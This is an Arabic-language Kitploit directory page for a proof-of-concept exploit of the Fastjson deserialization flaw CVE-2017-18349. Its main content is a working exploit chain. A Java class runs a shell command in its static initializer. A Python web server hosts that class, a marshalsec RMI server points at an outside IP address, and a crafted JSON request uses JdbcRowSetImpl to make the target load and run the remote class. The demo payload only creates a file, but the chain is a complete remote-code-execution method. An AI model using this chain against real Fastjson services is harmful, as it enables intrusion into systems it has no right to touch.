Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Fastjson--CVE-2017-18349- — إثبات المفهوم لاستغلال ثغرة إلغاء التسلسل في Fastjson CVE-2017-18349، يُظهر تنفيذ تعليمات برمجية عن بُعد عبر حمولة JSON مصمَّعة وخادم RMI. | Kitploit
أدوات/GitHubGitHub/h0cksr/fastjson--cve-2017-18349-
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubh0cksr/fastjson--cve-2017-18349-

Fastjson--CVE-2017-18349-

إثبات المفهوم لاستغلال ثغرة إلغاء التسلسل في Fastjson CVE-2017-18349، يُظهر تنفيذ تعليمات برمجية عن بُعد عبر حمولة JSON مصمَّعة وخادم RMI.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2منذ 4 سنواتلم تتم المراجعة بعد

Fastjson--CVE-2017-18349-Cancel changes

بعد تعيين المشروع كمشروع Maven، قم بتنفيذ (ملاحظة: استخدام إصدارات JDK الأعلى قد يفشل، يُنصح باستخدام JDK الإصدار 1.8.65) دالة main في FastjsondemoApplication.java ملف TouchFile.java

root@kitploit:~
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"touch", "/tmp/flag_test"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

ثم قم بتجميعه إلى ملف class باستخدام javac الإصدار 8

root@kitploit:~
javac TouchFile.java

بدء خدمة الويب باستخدام Python

root@kitploit:~
python -m SimpleHTTPServer 80

استخدام marshalsec لإنشاء خادم RMI

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999

تعديل حزمة الطلب

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
        "autoCommit":true
    }
}

التأثير: صورة

تنزيل الأداة